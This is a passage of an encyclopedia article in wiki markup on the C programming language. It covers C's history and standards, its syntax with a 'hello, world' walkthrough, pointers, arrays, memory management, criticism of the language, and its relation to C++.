* [[Record (computer science)|Record]]s, or user-defined aggregate datatypes (&lt;code&gt;struct&lt;/code&gt;s) which allow related data to be combined and manipulated as a whole

Some features that C lacks that are found in other languages include:
* [[Garbage collection (computer science)|Automatic garbage collection]]
* Language support for [[object-oriented programming]], although the original implementations for C++ was a preprocessor that translated C++ into C source code.
* [[Closure (computer science)|Closures]]
* [[Nested function]]s, though [[GCC]] has this feature as an extension.
* Compile-time polymorphism in the form of function [[overloading]], [[operator overloading]], and there is only rudimentary language support for [[generic programming]]
* Native support for [[multithreading]] and [[computer networks|networking]] &lt;!-- Better link than computer networks? --&gt;
Although the list of useful features C lacks is long, this has in a way been important to its acceptance, because it allows new compilers to be written quickly for it on new platforms, keeps the programmer in close control of what the program is doing, and allows solutions most natural for the particular platform. This is what often allows C code to run more efficiently than many other languages. Typically only hand-tuned assembly language code runs faster, since it has full control of the machine, but advances in C compilers and new complexity in modern [[Central processing unit|processors]] have gradually narrowed this gap.

In some cases, a missing feature can be approximated within C.  For example, the original implementation of C++ consisted of a preprocessor that translated the C++ syntax into C source code.  Most object oriented functions include a special pointer, usually named &quot;this&quot;, which refers to the current object.  By passing this pointer as a function argument in C, the same functionality can be performed in C.  For example, in C++ one might write:
 stack.push(val);
while in C, one would write:
 push(stack,val);
where the ''stack'' argument of C is a pointer to a '''struct''' which is equivalent to the ''this'' pointer of C++, which is a pointer to an object.

==History==
===Early developments===
The initial development of C occurred at [[AT&amp;T]] [[Bell Labs]] between 1969 and 1973; according to Ritchie, the most creative period occurred in 1972. It was named &quot;C&quot; because many of its features were derived from an earlier language called &quot;[[B programming language|B]]&quot;. 
Accounts differ regarding the origins of the name &quot;B&quot;: [[Ken Thompson]] credits it as being a stripped down version of the [[BCPL]] programming language, but he had also created a language called [[Bon (programming language)|Bon]] in honor of his wife Bonnie.

There are many legends as to the origin of C and its related operating system, [[Unix]], including:
* The development of C was the result of the programmers' desire to play [http://cm.bell-labs.com/cm/cs/who/dmr/spacetravel.html Space Travel].  They had been playing it on their company's [[mainframe]], but being underpowered and having to support about 100 users, Thompson and Ritchie found they didn't have sufficient control over the spaceship to avoid collisions with the wandering [[asteroid|space rocks]].  Thus, they decided to port the game to an idle [[PDP-7]] in the office.  But it didn't have an [[operating system]] (OS), so they set about writing one.  Eventually they decided to port the operating system to the office's [[PDP-11]], but this was [[wiktionary:onerous|onerous]] since all the code was in [[assembly language]].  They decided to use a higher-level portable language so the OS could be ported easily from one computer to another.  They looked at using B, but it lacked functionality to take advantage of some of the PDP-11's advanced features.  So they set about creating the new language, C.
*The justification for obtaining the original computer that was used to develop Unix was to create a system to automate the filing of patents.  The original version of Unix was developed in assembly language.  Later, the C language was developed in order to rewrite the operating system.

By 1973, the C language had become powerful enough that most of the [[Unix]] [[kernel (computers)|kernel]], originally written in [[PDP-11/20]] assembly language, was rewritten in C. This was one of the first operating system kernels implemented in a language other than assembly. (Earlier instances include the [[Multics]] system (written in [[PL/I programming language|PL/I]]), and MCP ([[Master Control Program]]) for Burroughs [[B5000]] written in [[ALGOL]] in 1961.)

===K&amp;R C===
In 1978, Ritchie and [[Brian Kernighan]] published the first edition of ''[[The C Programming Language (book) | The C Programming Language]]''. This book, known to C programmers as &quot;K&amp;R&quot;, served for many years as an informal [[specification]] of the language. The version of C that it describes is commonly referred to as &quot;K&amp;R C.&quot; (The second edition of the book covers the later [[ANSI C]] standard, described below.)

K&amp;R introduced the following features to the language:

* &lt;code&gt;struct&lt;/code&gt; data types
* &lt;code&gt;long int&lt;/code&gt; data type
* &lt;code&gt;unsigned int&lt;/code&gt; data type
* The &lt;code&gt;=+&lt;/code&gt; operator was changed to &lt;code&gt;+=&lt;/code&gt; to remove the semantic ambiguity created by the construct &lt;code&gt;i=+10&lt;/code&gt;, which could be interpreted as either &lt;code&gt;i&amp;nbsp;=+&amp;nbsp;10&lt;/code&gt; or &lt;code&gt;i&amp;nbsp;=&amp;nbsp;+10&lt;/code&gt;.

K&amp;R C is often considered the most basic part of the language that is necessary for a C compiler to support. For many years, even after the introduction of ANSI C, it was considered the &quot;lowest common denominator&quot; that C programmers stuck to when maximum portability was desired, since not all compilers were updated to fully support ANSI C, and reasonably well-written K&amp;R C code is also legal ANSI C.

In these early versions of C, only functions that returned a non-integer value needed to be declared if used before the function definition. A function used without any previous declaration was assumed to return an integer.

Example call requiring previous declaration:
&lt;pre&gt;&lt;nowiki&gt;
long int SomeFunction();

int CallingFunction()
{
    long int ret;
    ret = SomeFunction();
}&lt;/nowiki&gt;&lt;/pre&gt;

Example call not requiring previous declaration:
&lt;pre&gt;&lt;nowiki&gt;
int CallingFunction()
{
    int ret;
    ret = SomeOtherFunction();
}

int SomeOtherFunction()
{
    return 0;
}
&lt;/nowiki&gt;&lt;/pre&gt;

Since the K&amp;R prototype did not include any information about function arguments, function parameter [[type checking|type checks]] were not performed, although some compilers would issue a warning message if a function was called with the wrong number of arguments.

In the years following the publication of K&amp;R C, several &quot;unofficial&quot; features were added to the language, supported by compilers from AT&amp;T and some other vendors. These included:

* &lt;code&gt;void&lt;/code&gt; functions and &lt;code&gt;void *&lt;/code&gt; data type
* functions returning &lt;code&gt;struct&lt;/code&gt; or &lt;code&gt;union&lt;/code&gt; types (rather than pointers)
* [[assignment (computer science)|assignment]] for &lt;code&gt;struct&lt;/code&gt; data types
* &lt;code&gt;const&lt;/code&gt; qualifier to make an object read-only
* a [[C standard library|standard library]] incorporating most of the functionality implemented by various vendors
* [[enumeration]]s

===ANSI C and ISO C===
[[Image:kr_c_prog_lang.jpg|thumb|right|''The C Programming Language'', 2nd edition, is a widely used reference on ANSI C.]]
During the late 1970s, C began to replace [[BASIC programming language|BASIC]] as the leading [[microcomputer]] programming language. During the 1980s, it was adopted for use with the [[IBM PC]], and its popularity began to increase significantly. 
At the same time, [[Bjarne Stroustrup]] and others at Bell Labs began work on adding object-oriented programming language constructs to C. 
The language they produced, called [[C++]], is now the most common application programming language on the [[Microsoft Windows]] operating system; C remains more popular in the Unix world. Another language developed around that time is [[Objective-C]] which also adds object oriented programming to C. While, now, not as popular as C++, it is used to develop [[Mac OS X]]'s [[Cocoa (API)|Cocoa]] applications.

In 1983, the [[American National Standards Institute]] (ANSI) formed a committee, X3J11, to establish a standard specification of C. After a long and arduous process, the standard was completed in 1989 and ratified as ANSI X3.159-1989 &quot;Programming Language C&quot;. This version of the language is often referred to as [[ANSI C]], or sometimes C89 (to distinguish it from C99).

In 1990, the ANSI C standard (with a few minor modifications) was adopted by the [[International Organization for Standardization]] (ISO) as ISO/IEC 9899:1990. This version is sometimes called C90. Therefore, the terms &quot;C89&quot; and &quot;C90&quot; refer to essentially the same language.

One of the aims of the ANSI C standardization process was to produce a [[superset]] of K&amp;R C, incorporating many of the unofficial features subsequently introduced. However, the standards committee also included several new features, such as [[function prototype]]s (borrowed from C++), and a more capable preprocessor. The syntax for parameter declarations was also changed to reflect the C++ style:

&lt;pre&gt;
int main(argc, argv)
    int argc;
    char **argv;
{
...
}
&lt;/pre&gt;

became
&lt;pre&gt;
int main(int argc, char *argv[])
{
...
}
&lt;/pre&gt;

ANSI C is now supported by almost all the widely used compilers. Most of the C code being written nowadays is based on ANSI C. Any program written ''only'' in standard C and without any hardware dependent assumptions is guaranteed to perform correctly on any [[system platform|platform]] with a conforming C implementation. However, many programs have been written that will only compile on a certain platform, or with a certain compiler, due to (i) the use of non-standard libraries, such as for [[Graphical user interface|graphical displays]], (ii) some compilers not adhering to the ANSI C standard, or its successor, in their default mode, or (iii) reliance on the exact size of certain datatypes and/or the [[endian]]ness of the platform.

The __STDC__ macro can be used to split code into ANSI and K&amp;R sections.
&lt;pre&gt;&lt;nowiki&gt;
#if __STDC__
extern int getopt(int,char * const *,const char *);
#else
extern int getopt();
#endif
&lt;/nowiki&gt;&lt;/pre&gt;

Some suggest using &quot;#if __STDC__&quot;, like above, over &quot;#ifdef __STDC__&quot; because some compilers set __STDC__ to zero to indicate non-ANSI compliance.

===C99===
After the ANSI standardization process, the C language specification remained relatively static for some time, whereas [[C++]] continued to evolve. (Normative Amendment 1 created a new version of the C language in 1995, but this version is rarely acknowledged.) However, the standard underwent revision in the late 1990s, leading to the publication of ISO 9899:1999 in 1999. 
This standard is commonly referred to as &quot;C99&quot;. It was adopted as an ANSI standard in March 2000.

The new features in C99 include:

* [[inline function]]s
* [[variable]]s can be declared anywhere (as in C++), rather than only after another declaration or the start of a compound statement
* several new [[data type]]s, including &lt;code&gt;long long int&lt;/code&gt; (to reduce the pain of the looming [[32-bit]] to [[64-bit]] transition), an explicit [[Boolean datatype|boolean]] data type, and a &lt;code&gt;complex&lt;/code&gt; type representing [[complex number]]s
* variable-length [[array]]s
* support for one-line comments beginning with &lt;code&gt;//&lt;/code&gt;, like in [[BCPL]] or C++, and which many C compilers have previously supported as an extension
* several new library functions, such as &lt;code&gt;snprintf()&lt;/code&gt;
* several new [[header file]]s, such as &lt;code&gt;stdint.h&lt;/code&gt;

[[GNU Compiler Collection|GCC]] and several other C compilers now support most of the new features of C99. However, there has been less support from vendors such as [[Microsoft]] and [[Borland]] that are mainly focused on C++, since C++ provides similar functionality in often incompatible ways (e.g. the &lt;code&gt;complex&lt;/code&gt; template class). Said Microsoft's Brandon Bray, &quot;In general, we have seen little demand for many C99 features. Some features have more demand than others, and we will consider them in future releases provided they are compatible with C++.&quot; [http://msdn.microsoft.com/chats/transcripts/vstudio/vstudio_022703.aspx]

==Usage==
One consequence of C's wide acceptance and efficiency is that the compilers, libraries, and interpreters of other higher-level languages are often implemented in C.

===Intermediate language===
C is used as an [[intermediate language]] by some high-level languages ([[Eiffel programming language|Eiffel]], [[Sather]], [[Esterel]]) which do not output [[object file|object]] or [[machine language|machine]] code, but output C source code only, to submit to a C compiler, which then outputs finished object or machine code. This is done to gain portability and [[Optimization (computer science)|optimization]]. C compilers exist for most or all processors and operating systems, and most C compilers output well optimized object or machine code. Thus, any language that outputs C source code suddenly becomes very portable, and able to yield optimized object or machine code. Unfortunately, C is designed as a programming language, not as a compiler target language, so is not ideal for use as an intermediate language, leading to development of C-based intermediate languages, such as [[C--]]

==Syntax==
:''Main article: [[C syntax]]''

Unlike languages like [[Fortran 77]], C is free-form, allowing programmers to use arbitrary whitespace (rather than rigid lines) in laying out their code. Comments can be included either between the delimiters &lt;code&gt;/*&lt;/code&gt; and &lt;code&gt;*/&lt;/code&gt;, or (in C99) following &lt;code&gt;//&lt;/code&gt; until the end of the line.

Each source file contains declarations and function definitions. Function definitions, in turn, contain declarations and statements. Declarations either define new types using keywords such as &lt;code&gt;struct&lt;/code&gt;, &lt;code&gt;union&lt;/code&gt;, and &lt;code&gt;enum&lt;/code&gt;, or assign types to and perhaps reserve storage for new variables, usually by writing the type followed by the variable name. Keywords such as &lt;code&gt;char&lt;/code&gt; and &lt;code&gt;int&lt;/code&gt;, as well as the pointer-to symbol &lt;code&gt;*&lt;/code&gt;, specify built-in types. Sections of code are enclosed in braces (&lt;code&gt;{&lt;/code&gt; and &lt;code&gt;}&lt;/code&gt;) to indicate the extent to which declarations and control structures apply.

As an imperative language, C depends on statements to do most of the work. Most statements are expression statements which simply cause an expression to be evaluated -- and, in the process, cause variables to receive new values or values to be printed. Control-flow statements are also available for conditional or iterative execution, constructed with reserved keywords such as &lt;code&gt;if&lt;/code&gt;, &lt;code&gt;else&lt;/code&gt;, &lt;code&gt;switch&lt;/code&gt;, &lt;code&gt;do&lt;/code&gt;, &lt;code&gt;while&lt;/code&gt;, and &lt;code&gt;for&lt;/code&gt;. Arbitrary jumps are possible with &lt;code&gt;goto&lt;/code&gt;. A variety of built-in operators perform primitive arithmetic, logical, comparative, bitwise, and array indexing operations and assignment. Expressions can also call functions, including a large number of standard library functions, for performing many common tasks.

===&quot;hello, world&quot; example===
The following simple application appeared in the first edition of [[The C Programming Language (book)|K&amp;R]], and has become a standard introductory program in most programming textbooks, regardless of language. The program prints out &quot;[[Hello world program|hello, world]]&quot; to [[standard output]], which is usually a terminal or screen display.  However, it might be a file or some other hardware device, including the [[bit bucket]], depending on how standard output is mapped at the time the program is executed.
&lt;br&gt;&lt;br&gt;
&lt;pre&gt;&lt;nowiki&gt;main()
{
    printf(&quot;hello, world\n&quot;);
}&lt;/nowiki&gt;&lt;/pre&gt;

The above program will compile correctly on most modern compilers that are not in compliance mode. However, it produces several warning messages when compiled with a compiler that conforms to the [[ANSI C]] standard.  Additionally, the code will not compile if the compiler strictly conforms to the [[C programming language#C99 2|C99]] standard, as a return value of type &lt;code&gt;int&lt;/code&gt; will no longer be assumed if the source code has not specified the return-type. Even if it compiles, the resulting program will return an undefined exit status to the environment. These problems can be eliminated with a few minor modifications to the original program:

&lt;pre&gt;&lt;nowiki&gt;#include &lt;stdio.h&gt;

int main(void)
{
    printf(&quot;hello, world\n&quot;);

    return 0;
}&lt;/nowiki&gt;&lt;/pre&gt;

What follows is a line-by-line analysis of the above program:

&lt;pre&gt;#include &lt;stdio.h&gt;&lt;/pre&gt;
This first line of the program is a [[preprocessing|preprocessing directive]], &lt;code&gt;#include&lt;/code&gt;.  This causes the preprocessor — the first tool to examine source code when it is compiled — to substitute for that line the entire text of the file or other entity to which it refers.  In this case, the header &lt;code&gt;stdio.h&lt;/code&gt; — which contains the definitions of standard input and output functions — will replace that line.  The angle brackets surrounding &lt;code&gt;stdio.h&lt;/code&gt; indicate that &lt;code&gt;stdio.h&lt;/code&gt; can be found using an implementation-defined search strategy. Double quotes may also be used for headers, thus allowing the implementation to supply (up to) two strategies. Typically, angle brackets are used for headers supplied by the implementation, and double quotes for &quot;in-house&quot; headers.

&lt;pre&gt;int main(void)&lt;/pre&gt;
This next line indicates that a function named &lt;code&gt;main&lt;/code&gt; is being defined. The &lt;code&gt;[[main function (programming)|main]]&lt;/code&gt; function serves a special purpose in C programs.  When they are executed, main() is the first function called. The portion of the code that reads &lt;code&gt;int&lt;/code&gt; indicates that the ''return value'' — the value to which the &lt;code&gt;main&lt;/code&gt; function will evaluate — is an integer. The portion that reads &lt;code&gt;(void)&lt;/code&gt; indicates that the &lt;code&gt;main&lt;/code&gt; function takes no arguments. See also [[Void return type|void]].

&lt;pre&gt;{&lt;/pre&gt;
This opening curly brace indicates the beginning of the definition of the &lt;code&gt;main&lt;/code&gt; function.

&lt;pre&gt;    printf(&quot;hello, world\n&quot;);&lt;/pre&gt;
This line ''calls'' — looks up and then executes the code for — a function named &lt;code&gt;[[printf]]&lt;/code&gt;, which was declared in the included header &lt;code&gt;stdio.h&lt;/code&gt;.  In this call, the &lt;code&gt;printf&lt;/code&gt; function is ''passed'' — provided with — a single argument, the address of the first character in the string literal &lt;code&gt;&quot;hello, world\n&quot;&lt;/code&gt;. The sequence that reads &lt;code&gt;\n&lt;/code&gt; is an ''escape sequence'' that is translated to the EOL—or end-of-line—character, which is intended to move the output device's current position indicator to the beginning of the next line.  The return value of the &lt;code&gt;printf&lt;/code&gt; function is of type &lt;code&gt;int&lt;/code&gt;, but no use was made of it so it will be quietly discarded.

&lt;pre&gt;    return 0;&lt;/pre&gt;
This line terminates the execution of the &lt;code&gt;main&lt;/code&gt; function and causes it to return the integral value 0.

&lt;pre&gt;}&lt;/pre&gt;
This closing curly brace indicates the end of the code for the &lt;code&gt;main&lt;/code&gt; function.

If the above code were compiled and executed, it would do the following:

*Print the string &quot;hello, world&quot; onto the standard output device (typically but not always a terminal),
*Move the current position indicator to the beginning of the next line,
*Then return the integer zero to the application's executor.

===Data structures===
C has a [[type system]] similar to that of other [[ALGOL]] descendants such as [[Pascal programming language|Pascal]], although different in a number of ways.  There are primitive types for integers of various sizes, both signed and unsigned, [[floating-point number]]s, characters, and enumerated types (&lt;code&gt;enum&lt;/code&gt;).  There are also derived types including [[array]]s, [[pointer]]s, [[record (computer science)|records]] (&lt;code&gt;struct&lt;/code&gt;), and untagged [[union (computer science)|union]]s (&lt;code&gt;union&lt;/code&gt;).

C is often used in low-level systems programming, where &quot;escapes&quot; from the type system may be necessary.  The compiler attempts to ensure type correctness of most expressions, but the programmer can override the checks in various ways, either by using a ''[[Cast (computer science)|typecast]]'' to explicitly convert a value from one type to another, or by using pointers or unions to reinterpret the underlying bits of a value in some other way.  (The use of typecasts obviously sacrifices some of the safety normally provided by the type system.)

====Pointers====
C makes extensive use of pointers, a very simple type of [[reference (computer science)|reference]] that records, in effect, the address or location of an object in memory. Pointers can be ''dereferenced'' to access the data stored at the underlying address.  Pointers can be freely manipulated, using normal assignments and also [[pointer arithmetic]]. The run-time representation of a pointer value is typically a raw memory address, but at compile time, a pointer variable's type includes the type of the data pointed to, which allows expressions including pointers to be type-checked.  Pointers are used for many different purposes in C.  [[String (computer science)|Text strings]] are commonly manipulated using pointers into&lt;!-- yes, &quot;into&quot; --&gt; arrays of characters.  [[Dynamic memory allocation]], which is described below, is performed using pointers.  It is also possible to use pointers to functions.

A ''[[null pointer]]'' is a pointer value that points to no valid location.  (Dereferencing a null pointer is therefore meaningless, and often results in a run-time error.)  Null pointers are useful for indicating special cases such as the ''next'' pointer in the final node of a [[linked list]], or as an error return from functions that return pointers.  Pointers to type &lt;code&gt;void&lt;/code&gt; also exist, and point to objects of unknown type.  A void pointer is therefore used as a &quot;generic pointer&quot; (see also [[generic programming]]). Since the size and type of the pointed-to object is not known, void pointers cannot be dereferenced, nor is pointer arithmetic on them possible, but they can be easily (and in fact implicitly) converted to and from any other object pointer type.

====Arrays====
&lt;!-- Please be careful when editing this. C does NOT forbid bounds checking, nor does it require that pointers are memory addresses. Of course it does not require bounds checks, either, and all common implementations map those language constructs to the machine in the &quot;obvious way&quot;, but there are ANSI-conforming implementations that handle these things in other ways. --&gt;
Traditionally, array types in C were always one-dimensional and of a fixed, static size specified at compile time.  (The latest &quot;C99&quot; standard does allow some forms of variable-length arrays.)  However, it is also perfectly straightforward to allocate a block of memory (of arbitrary size) at run-time using the standard library and treat it as an array. C's unification of arrays and pointers (see below) means that true arrays and these dynamically-allocated, simulated arrays are virtually interchangeable.  However, since arrays are always accessed (in effect) via pointers, array accesses are typically ''not'' checked against the underlying array size.  Array bounds violations are therefore possible and rather common (see also the &quot;Criticism&quot; section below), and can lead to the usual sorts of repercussions: illegal memory accesses, corruption of data, run-time exceptions, etc.

C does not have a special provision for declaring multidimensional arrays, but rather uses recursion within the type system to declare arrays of arrays, which accomplishes approximately the same thing.  The index values of the resulting &quot;multidimensional array&quot; can be thought of as flowing in [[row-major order]].  There are provisions for accessing the whole array or elements of the array.  Because of the recursive nature of the type system that means that sub-array access is limited to row-by-row access.

====Unification of arrays and pointers====
A unique (and sometimes confusing) feature of C is its treatment of arrays and pointers.
The array-subscript notation &lt;code&gt;x[i]&lt;/code&gt; can also be used when &lt;code&gt;x&lt;/code&gt; is a pointer; the interpretation (using pointer arithmetic) is to access the &lt;code&gt;(i+1)&lt;/code&gt;th of several adjacent data objects pointed to by &lt;code&gt;x&lt;/code&gt;, counting the object that &lt;code&gt;x&lt;/code&gt; points to (which is &lt;code&gt;x[0]&lt;/code&gt;) as the first element of the array.

Formally, &lt;code&gt;x[i]&lt;/code&gt; is equivalent to &lt;code&gt;*(x + i)&lt;/code&gt;. Since the type of the pointer involved is known to the compiler at compile time, the address that &lt;code&gt;x + i&lt;/code&gt; points to is ''not'' the address pointed to by &lt;code&gt;x&lt;/code&gt; incremented by &lt;code&gt;i&lt;/code&gt;, but rather incremented by &lt;code&gt;i&lt;/code&gt; multiplied by the size of the objects that &lt;code&gt;x&lt;/code&gt; points to. The size of these objects can be determined with the operator &lt;code&gt;sizeof&lt;code&gt; applied to the pointee of pointer &lt;code&gt;x&lt;/code&gt; like in &lt;code&gt;n = sizeof (*x)&lt;/code&gt;.

Also, when the name of an array is used in an expression without the subscript (&lt;code&gt;[...]&lt;/code&gt;), a pointer to the array's first element is automatically derived and used thereafter: this means that arrays are never copied as a whole when passed as arguments to functions; only the address of its first element is passed.
(A consequence is that although C's function calls use [[call-by-value|pass-by-value]] semantics, arrays seem to be passed by [[Reference (computer science)|reference]].)

===Memory management===
One of the most important functions of a programming language is to provide facilities for managing [[computer memory|memory]] and the objects that are stored in memory. C provides three distinct ways to allocate memory for objects:
* [[Static memory allocation]]: space for the object is provided in the binary at compile-time; these objects have an [[Variable#Scope and extent|extent]] (or lifetime) as long as the binary which contains them exists
* [[Automatic memory allocation]]: temporary objects can be stored on the [[stack (computing)|stack]], and this space is automatically freed and reusable after the block they are declared in is left
* [[Dynamic memory allocation]]: blocks of memory of any desired size can be requested at run-time using library functions such as  &lt;code&gt;[[malloc|malloc()]]&lt;/code&gt; from a region of memory called the [[dynamic memory allocation|heap]]; these blocks are reused after the library function &lt;code&gt;[[malloc|free()]]&lt;/code&gt; is called on them

These three approaches are appropriate in different situations and have various tradeoffs. For example, static memory allocation has no allocation overhead, automatic allocation has a small amount of overhead during initialization, and dynamic memory allocation can potentially have a great deal of overhead for both allocation and deallocation. On the other hand, stack space is typically much more limited than either static memory or heap space, and only dynamic memory allocation allows allocation of objects whose size is only known at run-time. Most C programs make extensive use of all three.

Where possible, automatic or static allocation is usually preferred because the storage is managed by the compiler, freeing the programmer of the error-prone hassle of manually allocating and releasing storage. Unfortunately, many data structures can grow in size at runtime; since automatic and static allocations must have a fixed size at compile-time, there are many situations in which dynamic allocation must be used. Variable-sized arrays are a common example of this (see &quot;[[malloc]]&quot; for an example of dynamically allocated arrays).

==Criticism==
Many beginning programmers have difficulty learning C's syntax and peculiarities. Enthusiasts contend that the language's unforgiving nature ''forces'' programmers to write better software by requiring them to carefully plan and implement their code.

A popular saying, repeated by such notable language designers as [[Bjarne Stroustrup]], is that &quot;C makes it easy to shoot yourself in the foot&quot; [http://www.research.att.com/~bs/bs_faq.html#really-say-that] In other words, C permits many operations that are generally not desirable, and thus many simple  programmer errors are not detected by the compiler or even when they occur at runtime. This leads to programs with unpredictable behavior and security holes. 

The designers wanted to avoid compile- and run-time checks that were too expensive when C was first implemented. Some checks were also relegated to external tools, such as those discussed in ''Compiler-external static-checking tools'' below. Nothing prevents an implementation from providing such checks, but nothing requires it to, either. The safe C dialect [[Cyclone programming language|Cyclone]] addresses some of these concerns.

===Memory allocation===
One issue to be aware of when using C is that automatically and dynamically allocated objects are not initialized; they initially have an indeterminate value (typically whatever value is present in the memory space they occupy, which might not even be a legal bitpattern for that type). This value is highly unpredictable and can vary between two machines, two program runs, or even two calls to the same function. If the program attempts to use such an uninitialized value, the results are undefined. Many modern compilers try to detect and warn about this problem, but both false positives and false negatives occur.

Another common problem is that heap memory has to be manually synchronized with its actual usage in any program for it to be correctly reused as much as possible.  If the lifetime of the last pointer accessible by a live program variable ends (an auto pointer going out of scope, or being overwritten for example) and is referencing a particular allocation that is not freed via a call to &lt;code&gt;free()&lt;/code&gt; then that memory cannot be recovered for later reuse and is essentially lost to the program.  This is called a ''[[memory leak]]''. Conversely, it is possible to release memory too soon, and then continue to use it, but since the allocation system can re-allocate the memory at any time for unrelated reasons, this results in unpredictable behavior (typically in parts of the program that are different from where the erroneous operations actually occured). These issues in particular are ameliorated in languages with [[garbage collection (computer science)|automatic garbage collection]] or [[resource acquisition is initialization|RAII]].

===Pointers===
Pointers are a primary source of potential danger.  Because they are typically unchecked, a pointer can be made to point to any arbitrary location (even within code), causing unpredictable effects.  Although properly-used pointers point to safe places, they can be moved to unsafe places using pointer arithmetic; the memory they point to may be deallocated and reused ([[dangling pointer]]s); they may be uninitialized ([[wild pointer]]s); or they may be directly assigned a value using a cast, union, or through another corrupt pointer.  In general, C is permissive in allowing manipulation of and conversion between pointer types. Other languages attempt to address these problems by using more restrictive [[reference (computer science)|reference]] types.

===Arrays===
Although C has native support for static arrays, it is not required to verify that array indexes are valid ([[bounds checking]]). For example, one can write to the sixth element of an array with five elements, yielding generally undesirable results. This type of bug, called a ''[[buffer overflow]],'' has been notorious as the source of a number of security problems. On the other hand, since [[bounds checking elimination]] technology was largely nonexistent when C was defined, bounds checking came with a severe performance penalty, particularly in numerical computation. It is also, arguably, inconsistent with C's minimalist approach. (Actually, the decision to equate an array with a pointer to its first element, and to use this approach for passing arrays as function parameters -- without bounds information, pretty much ruled out [[bounds checking]] from the beginning.)

Multidimensional arrays are necessary in numerical algorithms (mainly from applied linear algebra) to store matrices. The structure of the C array is very well adapted and fit for this particular task, provided one is prepared to count one's indices from 0 instead of 1. This issue is discussed in the book ''Numerical Recipes in C'', Chap. 1.2, page 20 ff ([http://www.library.cornell.edu/nr/bookcpdf/c1-2.pdf read online]). In that book there is also a solution based on negative addressing which introduces other dangers.

===Variadic functions===

Another source of bugs is [[variadic function]]s, which take a variable number of arguments. Unlike other prototyped C functions, checking the types of arguments to variadic functions at compile-time is impossible in general without additional information. If the wrong type of data is passed, the effect is unpredictable, and often fatal. Variadic functions also handle null pointer constants in a way which is often suprising to those unfamiliar with the language semantics.  For example, NULL must be cast to the desired pointer type when passed to a variadic function. The [[printf]] family of functions supplied by the standard library, used to generate formatted text output, has been noted for its error-prone variadic interface, which relies on a format string to specify the number and type of trailing arguments.

Type-checking of variadic functions from the standard library is a quality of implementation issue, however, and many modern compilers do in particular type-check &lt;code&gt;printf&lt;/code&gt; calls, producing warnings if the argument list is inconsistent with the format string. However, not all printf calls can be checked statically, since the format string can be built at runtime, and other variadic functions typically remain unchecked.

===Syntax===
Although mimicked by many languages because of its widespread familiarity, C's syntax has been often targeted as one of its weakest points. For example, Kernighan and Ritchie say in the second edition of ''The C Programming Language'', &quot;C, like any other language, has its blemishes. Some of the operators have the wrong precedence; some parts of the syntax could be better.&quot;
&lt;!-- Note that these Stroustrup quotes do talk about C++, not C --&gt;
Bjarne Stroustrup said of C++ (which is of course very similar to  C): &quot;Within C++, there is a much smaller and cleaner language struggling to get out. [...] the C++ semantics is much cleaner than its syntax.&quot; [http://www.research.att.com/~bs/bs_faq.html#really-say-that] Some specific problems worth noting are:

* A function prototype with an empty parameter list allows any set of parameters, a syntax problem introduced for backward compatibility with K&amp;R C, which lacked prototypes.
* Some questionable choices of operator precedence, as mentioned by Kernighan and Ritchie above, such as &lt;code&gt;==&lt;/code&gt; binding more tightly than &lt;code&gt;&amp;&lt;/code&gt; and &lt;code&gt;|&lt;/code&gt; in expressions like &lt;code&gt;x &amp; 1 == 0&lt;/code&gt;.
* The use of the &lt;code&gt;=&lt;/code&gt; operator, used in mathematics for equality, to indicate assignment, leading to unintended assignments in comparisons and a false impression that assignment is transitive.  Having &lt;code&gt;=&lt;/code&gt; denote assignment and &lt;code&gt;==&lt;/code&gt; equality was a deliberate decision by Ritchie, who noted that assignment occurs much more often than comparisons.
* A lack of [[infix]] operators for complex objects, particularly for string operations, making programs which rely heavily on these operations difficult to read.
* Heavy reliance on punctuation-based symbols even where this is arguably less clear, such as &quot;&amp;&amp;&quot; and &quot;||&quot; instead of &quot;and&quot; and &quot;or&quot; (though &quot;and&quot; and &quot;or&quot; are theoretically available as alternatives with the inclusion of a certain header).
* The un-intuitive declaration syntax, particularly for function pointers. &lt;!-- Note that these Conway quotes do talk about C++, not C --&gt; In the words of language researcher [[Damian Conway]] speaking about the very similar C++ declaration syntax:
::Specifying a type in C++ is made difficult by the fact that some of the components of a declaration (such as the pointer specifier) are prefix operators while others (such as the array specifier) are postfix. These declaration operators are also of varying precedence, necessitating careful bracketing to achieve the desired declaration. Furthermore, if the type ID is to apply to an identifier, this identifier ends up at somewhere between these operators, and is therefore obscured in even moderately complicated examples (see Appendix A for instance). The result is that the clarity of such declarations is greatly diminished.
::''Ben Werther &amp; Damian Conway. [http://www.csse.monash.edu.au/~damian/papers/HTML/ModestProposal.html#section3.1.1 A Modest Proposal: C++ Resyntaxed]. Section 3.1.1. 1996.''

===Maintenance===
There are other problems in C that don't directly result in bugs or errors, but make it harder for inexperienced programmers to build a robust, maintainable, large-scale system. Examples of these include:
* A fragile system for importing definitions (&lt;code&gt;#include&lt;/code&gt;) that relies on literal text inclusion and redundantly keeping prototypes and function definitions in sync, and drastically increases build times.
* A cumbersome compilation model that forces manual dependency tracking and inhibits [[compiler optimization]]s between modules (except by [[link-time optimization]]).
* A weak type system that lets many clearly erroneous programs compile without errors.

===Static-checking tools===
Tools have been created to help C programmers avoid these errors in many cases. 

Automated source code checking and auditing is fruitful in any language, and for C many such tools exist such as [[lint programming tool|Lint]]. A common practice is to use Lint to detect questionable code when a program is first written. Once a program passes Lint, it is then compiled using the C compiler. 

There are also compilers, libraries and operating system level mechanisms for performing array bounds checking, [[buffer overflow]] detection and [[garbage collection (computer science)|automatic garbage collection]], that are not a standard part of C.

Cproto is a program that will read a C source file and output prototypes of all the functions within the source file.  This program can be used in conjuction with the &quot;make&quot; command to create new files containing prototypes each time the source file has been changed.  These prototype files can be included by the original source file (e.g., as &quot;filename.p&quot;), which reduces the problems of keeping function definitions and source files in agreement.

It should be recognized that these tools are not a panacea. Because of C's flexibility, some types of errors involving misuse of variadic functions, out-of-bound array indexing, and incorrect memory management cannot be detected on some architectures without incurring a significant performance penalty. However, some common cases can be recognized and accounted for.

==Related languages==
===C++===
The [[C++]] programming language was originally derived from C. However, not every C program is a valid C++ program. As C and C++ have evolved independently, there has been an increase in the number of incompatibilities between the two languages [http://david.tribble.com/text/cdiffs.htm]. The latest revision of C, C99, created a number of additional conflicting features. The differences make it hard to write programs and libraries that are compiled and function correctly as either C or C++ code, and confuse those who program in both languages. The disparity also makes it hard for either language to adopt features from the other one.

[[Bjarne Stroustrup]], the creator of C++, has repeatedly suggested [http://www.research.att.com/~bs/sibling_rivalry.pdf] that the incompatibilities between C and C++ should be reduced as much as possible in order to maximize inter-operability between the two languages. Others have argued that since C and C++ are two different languages, compatibility between them is useful but not vital; according to this camp, efforts to reduce incompatibility should not hinder attempts to improve each language in isolation.

